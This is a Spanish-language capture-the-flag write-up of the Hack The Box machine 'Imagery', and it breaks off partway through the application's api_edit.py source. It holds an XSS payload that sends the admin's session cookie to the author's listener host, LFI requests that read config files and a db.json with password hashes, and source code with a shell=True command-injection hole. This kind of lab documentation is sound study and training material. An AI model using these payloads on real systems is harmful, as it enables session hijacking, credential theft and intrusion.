# Imagery

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FRJsWLlDt5aTQE8xt1EAY%2Fimage.png?alt=media&#x26;token=b73d8529-533b-472a-a7db-36cdeefc98c2" alt=""><figcaption></figcaption></figure>

***

## Enumeration

Vamos a empezar un escaneo `nmap`:

```bash
┌──(pylon㉿kali)-[10.10.15.106]-[~/…/pylon/HTB/Imagery/nmap]
└─$ nmap -p- --open -sS -n -Pn --min-rate=5000 -vvv 10.129.55.34
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-28 10:01 CEST
Initiating SYN Stealth Scan at 10:01
Scanning 10.129.55.34 [65535 ports]
Discovered open port 22/tcp on 10.129.55.34
Discovered open port 8000/tcp on 10.129.55.34
Completed SYN Stealth Scan at 10:02, 12.95s elapsed (65535 total ports)
Nmap scan report for 10.129.55.34
Host is up, received user-set (0.043s latency).
Scanned at 2025-09-28 10:01:50 CEST for 13s
Not shown: 63330 closed tcp ports (reset), 2203 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.00 seconds
           Raw packets sent: 71900 (3.164MB) | Rcvd: 63484 (2.539MB)
```

Vamos a realizar un segundo escaneo para identificar el servicio y versión de los puertos:

```bash
┌──(pylon㉿kali)-[10.10.15.106]-[~/…/pylon/HTB/Imagery/nmap]
└─$ nmap -p22,8000 -sCV 10.129.55.34
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-28 10:04 CEST
Nmap scan report for 10.129.55.34
Host is up (0.043s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.31 seconds
```

Obtuvimos la siguiente información:

* `22/tcp`-> OpenSSH 9.7p1
* `8000/tcp`-> Werkzeug httpd 3.1.3&#x20;

Estamos ante un servicio con python. Podríamos estar ante un SSTI.&#x20;

Vamos a ver la aplicación web:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FbSdaXgBFua9iijIJBmGm%2Fimage.png?alt=media&#x26;token=d0195fb4-b099-4ab6-a4bc-fb9ef1d52c51" alt=""><figcaption></figcaption></figure>

Vemos que es una web donde podemos guardar nuestras imágenes. En el header vemos que podemos iniciar sesión y registrarnos. Vamos a crearnos una cuenta:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FvbZprLm89eUtyucH42g4%2Fimage.png?alt=media&#x26;token=f3b336a0-28e4-4476-bc8d-fd8591187d81" alt=""><figcaption></figcaption></figure>

Vamos a iniciar sesión:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FirWH7NSZPh6vsSI0qmoj%2Fimage.png?alt=media&#x26;token=c7e5ceb2-7580-4614-a269-e5ae2c3063e6" alt=""><figcaption></figcaption></figure>

Vemos ahora que tenemos una nueva función llamada `Gallery` donde nos da un mensaje de que no hay imágenes subidas que podemos subir alguna, vamos a probar:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FB10ksANheqniJeEhqHVf%2Fimage.png?alt=media&#x26;token=5c0bebbd-8386-4492-8451-88266f8f040f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FGROvoebkEr1fozwgeieE%2Fimage.png?alt=media&#x26;token=a43b4225-71ad-4ba0-a08c-25422992b8a5" alt=""><figcaption></figcaption></figure>

Si desplegamos la sección `My Images` veremos lo siguiente:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FbrCTq0GrjuWlEpY8o1DF%2Fimage.png?alt=media&#x26;token=9ec18870-2482-4b3a-a7eb-f640515723b2" alt=""><figcaption></figcaption></figure>

Vemos la imagen.

{% hint style="info" %}
Se puede probar a intentar un File Upload, pero sin éxito alguno.
{% endhint %}

En los 3 puntos de la imagen podremos encontrar lo siguiente:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FTUd1hCshQ7pT6j6CUaiN%2Fimage.png?alt=media&#x26;token=52440a66-bcef-41fa-b654-3a384f0fa22e" alt=""><figcaption></figcaption></figure>

Pero vemos que tenemos varías opciones deshabilitadas, si intentamos darle nos sale el siguiente mensaje:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F5ep5q94XKubomvA8PcvP%2Fimage.png?alt=media&#x26;token=0f9cc7a3-6cfb-4c38-a11f-cb976de4de64" alt=""><figcaption></figcaption></figure>

Vemos que esta en desarrollo.

Viendo la web encontré lo siguiente en el footer:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F9o44AKlT9nyczS3MMbYD%2Fimage.png?alt=media&#x26;token=a742917e-47fc-4c27-9d08-ab3a556ed223" alt=""><figcaption></figcaption></figure>

Vamos a ver que podemos hacer con ello:

## Shell as web

### Cross-Site Scripting (XSS)

Vamos a enviar un reporte al azar:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FT43rbeZ9XX5UxQe8NkUf%2Fimage.png?alt=media&#x26;token=d9bc9048-0753-400f-8739-090bc6301237" alt=""><figcaption></figcaption></figure>

Vemos que este bug va a ser revisado por un administrador. Esto me llama la atención ya que si algún campo del formulario es vulnerable a un XSS podremos robarle la Cookie de sesión al administrador. Vamos a comprobar enviandonos una solicitud con `fetch` a un servidor nuestro:

Máquina kali:

```bash
┌──(pylon㉿kali)-[10.10.15.106]-[~/…/pylon/HTB/Imagery/nmap]
└─$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (<http://0.0.0.0:8081/>) ...
```

Payload:

{% hint style="info" %}
En este caso las etiquetas `<script>` no funcionan, así que empleamos otros métodos como por ejemplo usando atributos de otras etiquetas que permitan ejecutar código JavaScript.
{% endhint %}

```html
<img src=x onerror="fetch('<http://10.10.15.106:8081/form_camp>')" />
```

En donde pone `form_camp` pondremos el nombre del campo, esto nos ayudará a identificar donde está el campo vulnerable:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F3G4xC9TbUozlp2ZdLSyS%2Fimage.png?alt=media&#x26;token=4c4149ce-7c22-4ed4-820a-9260ca0c4bd6" alt=""><figcaption></figcaption></figure>

Enviaremos el reporte y esperaremos:

```bash
┌──(pylon㉿kali)-[10.10.15.106]-[~/…/pylon/HTB/Imagery/nmap]
└─$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (<http://0.0.0.0:8081/>) ...
10.129.55.34 - - [28/Sep/2025 10:41:15] code 404, message File not found
10.129.55.34 - - [28/Sep/2025 10:41:15] "GET /details HTTP/1.1" 404 -
```

Funcionó!! Vemos que la recibimos una única solicitud donde indica `/details` esto nos da a entender que el campo vulnerable es `Bug Details` , ahora vamos a modificar el payload para que nos de su cookie *(document.cookie)*:

```bash
<img src=x onerror=fetch('<http://10.10.15.106:8081/cookie='+document.cookie>) />
```

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2Ffiu2BLJhbVBCLOG1bwrB%2Fimage.png?alt=media&#x26;token=3a926a42-b276-4504-a393-7f692f90cc16" alt=""><figcaption></figcaption></figure>

```bash
┌──(pylon㉿kali)-[10.10.15.106]-[~/…/pylon/HTB/Imagery/nmap]
└─$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (<http://0.0.0.0:8081/>) ...
10.129.55.34 - - [28/Sep/2025 10:43:13] code 404, message File not found
10.129.55.34 - - [28/Sep/2025 10:43:13] code 404, message File not found
10.129.55.34 - - [28/Sep/2025 10:43:13] "GET /cookie=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNj1Hw.ugHvjS5Fp0-S6pucSo-SlJvFfWE HTTP/1.1" 404 -
```

Obtuvimos la cookie del usuario administrador!! Ahora vamos a remplazar nuestra cookie por la suya:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FL96nB6kkmQmBytU3XjUk%2Fimage.png?alt=media&#x26;token=1c5253fa-6456-4149-981d-b6d7f445bb1e" alt=""><figcaption></figcaption></figure>

Remplazamos el valor por el obtenido:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2Ff26t8ldaOM3ZVEtdTEur%2Fimage.png?alt=media&#x26;token=1f73f0d1-cf74-464a-9485-a0710a35decf" alt=""><figcaption></figcaption></figure>

Ahora recargamos la web:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F0ebyLMIH5URSNQzx59Ck%2Fimage.png?alt=media&#x26;token=254cab08-9eef-44dc-8062-756e3b336b24" alt=""><figcaption></figcaption></figure>

Funcionó!! Vemos que ahora en el header tenemos una nueva sección llamada `Admin Panel`. Vamos a acceder a ella:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F7JBlLHTZVBx1MKt41ya7%2Fimage.png?alt=media&#x26;token=f7266445-dc85-48aa-be33-376ad65d5461" alt=""><figcaption></figcaption></figure>

Vemos la sección de reportes donde es vulnerable y una sección llamada User Management, vamos a darle al botón `Download Log`:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FbwarWKpowqERvweYwtVc%2Fimage.png?alt=media&#x26;token=0949f5fa-c74b-4ae4-ba4b-fa382781b925" alt=""><figcaption></figcaption></figure>

Nos descarga un Log del usuario admin, vamos a ver su contenido:

```
[2025-09-28T08:30:09.682282] Logged in successfully.
[2025-09-28T08:30:09.683814] Logged in successfully.
[2025-09-28T08:31:08.033198] Logged in successfully.
[2025-09-28T08:31:08.035762] Logged in successfully.
[2025-09-28T08:32:10.969589] Logged in successfully.
[2025-09-28T08:32:10.971874] Logged in successfully.
[2025-09-28T08:33:10.184371] Logged in successfully.
[2025-09-28T08:33:10.188979] Logged in successfully.
[2025-09-28T08:34:10.181603] Logged in successfully.
[2025-09-28T08:34:10.184558] Logged in successfully.
[2025-09-28T08:35:11.036196] Logged in successfully.
[2025-09-28T08:35:11.043445] Logged in successfully.
[2025-09-28T08:36:08.938227] Logged in successfully.
[2025-09-28T08:36:08.940667] Logged in successfully.
[2025-09-28T08:37:09.688734] Logged in successfully.
[2025-09-28T08:37:09.692207] Logged in successfully.
[2025-09-28T08:38:09.590464] Logged in successfully.
[2025-09-28T08:39:10.169620] Logged in successfully.
[2025-09-28T08:39:10.176779] Logged in successfully.
[2025-09-28T08:40:10.388801] Logged in successfully.
[2025-09-28T08:40:10.390409] Logged in successfully.
[2025-09-28T08:41:12.144350] Logged in successfully.
[2025-09-28T08:41:12.148250] Logged in successfully.
[2025-09-28T08:42:10.562067] Logged in successfully.
[2025-09-28T08:43:11.537604] Logged in successfully.
[2025-09-28T08:44:10.640021] Logged in successfully.
[2025-09-28T08:45:09.683673] Logged in successfully.
[2025-09-28T08:46:09.168605] Logged in successfully.
[2025-09-28T08:46:09.171872] Logged in successfully.
```

Hmm no vemos gran cosa. Lo que si me ha interesado es saber de donde se saca este recurso, así que interceptaremos la descarga con BurpSuite y la enviaremos al `Repeater`:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FUqgcSEfVZ0212m7jO9eo%2Fimage.png?alt=media&#x26;token=ca11d208-d47f-425d-8638-8b4900b2a03a" alt=""><figcaption></figcaption></figure>

### Local File Inclusion (LFI)

Si nos fijamos el parámetro `log_identifier` está apuntando a un `.log` existente en el servidor, podríamos probar un LFI:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F7DRjL3UkdMIIjH8JMtHU%2Fimage.png?alt=media&#x26;token=6ccfac40-c023-469a-a627-15ce4e80f552" alt=""><figcaption></figcaption></figure>

Funciona!! Estamos ante un LFI. Ahora podríamos enumerar un poco el sistema enumerando el directorio `/proc/self` :

* `/proc/self/environ` :

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F9SBYmppwgNXjt2vMtfMk%2Fimage.png?alt=media&#x26;token=901efc01-ab2d-4321-964b-84f7c651cb86" alt=""><figcaption></figcaption></figure>

Interesante el `PATH` , vemos que en el `home` del usuario `web` hay otra carpeta llamada `web` , donde apunta a un entorno virtual en python `env` . Podríamos intentar a apuntar al `app.py` *(normalmente se les llama así a las webs hechas en algún framework de python)*:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2Fb81LZMqAx2RDgOpbDYnE%2Fimage.png?alt=media&#x26;token=4893a52c-d01b-4abe-825e-01b33445e6c4" alt=""><figcaption></figcaption></figure>

Obtuvimos el código fuente de la aplicación!! Vamos a leerlo

#### App Source Code

```python
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False

app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)

@app_core.route('/')
def main_dashboard():
    return render_template('index.html')

if __name__ == '__main__':
    current_database_data = _load_data()
    default_collections = ['My Images', 'Unsorted', 'Converted', 'Transformed']
    existing_collection_names_in_database = {g['name'] for g in current_database_data.get('image_collections', [])}
    for collection_to_add in default_collections:
        if collection_to_add not in existing_collection_names_in_database:
            current_database_data.setdefault('image_collections', []).append({'name': collection_to_add})
    _save_data(current_database_data)
    for user_entry in current_database_data.get('users', []):
        user_log_file_path = os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")
        if not os.path.exists(user_log_file_path):
            with open(user_log_file_path, 'w') as f:
                f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\\n")
    port = int(os.environ.get("PORT", 8000))
    if port in BLOCKED_APP_PORTS:
        print(f"Port {port} is blocked for security reasons. Please choose another port.")
        sys.exit(1)
    app_core.run(debug=False, host='0.0.0.0', port=port)
```

Si leemos el código vemos que en el principio importa varios archivos, el que me ha llamado la atención es `from config import *` , vamos a ver si podemos leer el `config.py` :

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FRfHoWx4Ow4vLpWPKghm7%2Fimage.png?alt=media&#x26;token=461fbffb-9135-4143-b240-56d8e3dfc6e7" alt=""><figcaption></figcaption></figure>

Bien!! Vemos en las primeras lineas que define una variable llamada `DATA_STORE_PATH` donde apunta a un `db.json` , vamos a intentar leerlo:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FyMSaK5NEZNYkjCVBktth%2Fimage.png?alt=media&#x26;token=f0f95110-ca67-4d3d-b930-6cd33f44b356" alt=""><figcaption></figcaption></figure>

#### db.json

```json
{
    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,
            "displayId": "a1b2c3d4",
            "login_attempts": 0,
            "isTestuser": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,
            "displayId": "e5f6g7h8",
            "login_attempts": 0,
            "isTestuser": true,
            "failed_login_attempts": 0,
            "locked_until": null
        }
    ],
    "images": [],
    "image_collections": [
        {
            "name": "My Images"
        },
        {
            "name": "Unsorted"
        },
        {
            "name": "Converted"
        },
        {
            "name": "Transformed"
        }
    ],
    "bug_reports": []
}
```

Vemos el usuario `testuser@imagery.htb` y si contraseña encriptada, por la apariencia parece MD5. Vamos a probar a descifrarla con [Crackstation](https://crackstation.net/):

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FxRfj2CHcFV3rNb9GP1ub%2Fimage.png?alt=media&#x26;token=676de5c9-0265-4a4c-8878-6781e9a86e6b" alt=""><figcaption></figcaption></figure>

Obtuvimos las credenciales del usuario `testuser` !! Vamos a iniciar sesión:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FrKqk340cKLLMZ6C01aTA%2Fimage.png?alt=media&#x26;token=f812c5d6-7fcc-49a6-8a11-9ad35170b163" alt=""><figcaption></figcaption></figure>

Ahora vemos que tenemos una nueva sección que es `Manage Group` . Antes de probar cualquier cosa ahí voy a ver si las funciones que estaban en desarrollo al ser el usuario `testuser` las tenemos habilitadas, así que vamos a subir una imagen:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FeAswyAFTH7VEKJEZiwet%2Fimage.png?alt=media&#x26;token=d73b1d1e-6397-4847-bbbc-64f822bf21a8" alt=""><figcaption></figcaption></figure>

Vemos que podemos usarlas, vamos a probar alguna e interceptarla con BurpSuite para estar controlando todo lo que suceda en la aplicación:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F8DQXhdJUWlPr1B3jxRon%2Fimage.png?alt=media&#x26;token=04f05888-4ae5-4c04-a77f-e5f74562451a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FOCi73gFHz8xL6yWKB3O6%2Fimage.png?alt=media&#x26;token=25f4b3a5-b3c6-43f0-8801-ed2b15039821" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F4p9DqX2zPrL3UTL0BKEF%2Fimage.png?alt=media&#x26;token=91bfaa15-4bc5-4e88-86a5-151daa663380" alt=""><figcaption></figcaption></figure>

Sabiendo este funcionamiento me llama la atención como lo realiza. Con el LFI que tenemos vamos a buscar algún archivo que cuadre su nombre con esa funcionalidad:

Vamos a leer el archivo `api_edit.py` :

```python
from flask import Blueprint, request, jsonify, session
from config import *
import os
import uuid
import subprocess
from datetime import datetime
from utils import _load_data, _save_data, _hash_password, _log_event, _generate_display_id, _sanitize_input, get_file_mimetype, _calculate_file_md5

bp_edit = Blueprint('bp_edit', __name__)

@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
    if not session.get('is_testuser_account'):
        return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
    request_payload = request.get_json()
    image_id = request_payload.get('imageId')
    transform_type = request_payload.get('transformType')
    params = request_payload.get('params', {})
    if not image_id or not transform_type:
        return jsonify({'success': False, 'message': 'Image ID and transform type are required.'}), 400
    application_data = _load_data()
    original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
    if not original_image:
        return jsonify({'success': False, 'message': 'Image not found or unauthorized to transform.'}), 404
    original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
    if not os.path.exists(original_filepath):
        return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
    if original_image.get('actual_mimetype') not in ALLOWED_TRANSFORM_MIME_TYPES:
        return jsonify({'success': False, 'message': f"Transformation not supported for '{original_image.get('actual_mimetype')}' files."}), 400
    original_ext = original_image['filename'].rsplit('.', 1)[1].lower()
    if original_ext not in ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM:
        return jsonify({'success': False, 'message': f"Transformation not supported for {original_ext.upper()} files."}), 400
    try:
        unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
        output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
        output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
        if transform_type == 'crop':
            x = str(params.get('x'))
            y = str(params.get('y'))
            width = str(params.get('width'))
            height = str(params.get('height'))
            command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
            subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
        elif transform_type == 'rotate':
            degrees = str(params.get('degrees'))
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-rotate', degrees, output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
        elif transform_type == 'saturation':
            value = str(params.get('value'))
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,{float(value)*100},100", output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
        elif transform_type == 'brightness':
            value = str(params.get('value'))
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,100,{float(value)*100}", output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
        elif transform_type == 'contrast':
            value = str(params.get('value'))
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"{float(value)*100},{float(value)*100},{float(value)*100}", output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
        else:
            return jsonify({'success': False, 'message': 'Unsupported transformation type.'}), 400
        new_image_id = str(uuid.uuid4())
        new_image_entry = {
            'id': new_image_id,
            'filename': output_filename_in_db,
            'url': f'/uploads/{output_filename_in_db}',
            'title': f"Transformed: {original_image['title']}",
            'description': f"Transformed from {original_image['title']} ({transform_type}).",
            'timestamp': datetime.now().isoformat(),
            'uploadedBy': session['username'],
            'uploadedByDisplayId': session['displayId'],
            'group': 'Transformed',
            'type': 'transformed',
            'original_id': original_image['id'],
            'actual_mimetype': get_file_mimetype(output_filepath)
        }
        application_data['images'].append(new_image_entry)
        if not any(coll['name'] == 'Transformed' for coll in application_data.get('image_collections', [])):
            application_data.setdefault('image_collections', []).append({'name': 'Transformed'})
        _save_data(application_data)
        return jsonify({'success': True, 'message': 'Image transformed successfully!', 'newImageUrl': new_image_entry['url'], 'newImageId': new_image_id}), 200
    except subprocess.CalledProcessError as e:
        return jsonify({'success': False, 'message': f'Image transformation failed: {e.stderr.strip()}'}), 500
    except Exception as e:
        return jsonify({'success': False, 'message': f'An unexpected error occurred during transformation: {str(e)}'}), 500

@bp_edit.route('/convert_image', methods=['POST'])
def convert_image():
    if not session.get('is_testuser_account'):
        return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
    request_payload = request.get_json()
    image_id = request_payload.get('imageId')
    target_format = request_payload.get('targetFormat')
    if not image_id or not target_format:
        return jsonify({'success': False, 'message': 'Image ID and target format are required.'}), 400
    if target_format.lower() not in ALLOWED_MEDIA_EXTENSIONS:
        return jsonify({'success': False, 'message': 'Target format not allowed.'}), 400
    application_data = _load_data()
    original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
    if not original_image:
        return jsonify({'success': False, 'message': 'Image not found or unauthorized to convert.'}), 404
    original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
    if not os.path.exists(original_filepath):
        return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
    current_ext = original_image['filename'].rsplit('.', 1)[1].lower()
    if target_format.lower() == current_ext:
        return jsonify({'success': False, 'message': f'Image is already in {target_format.upper()} format.'}), 400
    try:
        unique_output_filename = f"converted_{uuid.uuid4()}.{target_format.lower()}"
        output_filename_in_db = os.path.join('admin', 'converted', unique_output_filename)
        output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
        command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, output_filepath]
        subprocess.run(command, capture_output=True, text=True, check=True)
        new_file_md5 = _calculate_file_md5(output_filepath)
        if new_file_md5 is None:
            os.remove(output_filepath)
            return jsonify({'success': False, 'message': 'Failed to calculate MD5 hash for new file.'}), 500
        for img_entry in application_data['images']:
            if img_entry.get('type') == 'converted' and img_entry.get('original_id') == original_image['id']:
                existing_converted_filepath = os.path.join(UPLOAD_FOLDER, img_entry['filename'])
                existing_file_md5 = img_entry.get('md5_hash')
                if existing_file_md5 is None:
                    existing_file_md5 = _calculate_file_md5(existing_converted_filepath)
                if existing_file_md5:
                    img_entry['md5_hash'] = existing_file_md5
                    _save_data(application_data)
                if existing_file_md5 == new_file_md5:
                    os.remove(output_filepath)
                    return jsonify({'success': False, 'message': 'An identical converted image already exists.'}), 409
        new_image_id = str(uuid.uuid4())
        new_image_entry = {
            'id': new_image_id,
            'filename': output_filename_in_db,
            'url': f'/uploads/{output_filename_in_db}',
            'title': f"Converted: {original_image['title']} to {target_format.upper()}",
            'description': f"Converted from {original_image['filename']} to {target_format.upper()}.",
            'timestamp': datetime.now().isoformat(),
            'uploadedBy': session['username'],
            'uploadedByDisplayId': session['displayId'],
            'group': 'Converted',
            'type': 'converted',
            'original_id': original_image['id'],
            'actual_mimetype': get_file_mimetype(output_filepath),
            'md5_hash': new_file_md5
        }
        application_data['images'].append(new_image_entry)
        if not any(coll['name'] == 'Converted' for coll in application_data.get('image_collections', [])):
            application_data.setdefault('image_collections', []).append({'name': 'Converted'})
        _save_data(application_data)
        return jsonify({'success': True, 'message': 'Image converted successfully!', 'newImageUrl': new_image_entry['url'], 'newImageId': new_image_id}), 200
    except subprocess.CalledProcessError as e:
        if os.path.exists(output_filepath):
            os.remove(output_filepath)
        return jsonify({'success': False, 'message': f'Image conversion failed: {e.stderr.strip()}'}), 500
    except Exception as e:
        return jsonify({'success': False, 'message': f'An unexpected error occurred during conversion: {str(e)}'}), 500

@bp_edit.route('/delete_image_metadata', methods=['POST'])
def delete_image_metadata():
    if not session.get('is_testuser_account'):
        return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
    request_payload = request.get_json()
    image_id = request_payload.get('imageId')
    if not image_id:
        return jsonify({'success': False, 'message': 'Image ID is required.'}), 400
    application_data = _load_data()
    image_entry = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
    if not image_entry:
        return jsonify({'success': False, 'message': 'Image not found or unauthorized to modify.'}), 404
    filepath = os.path.join(UPLOAD_FOLDER, image_entry['filename'])
    if not os.path.exists(filepath):
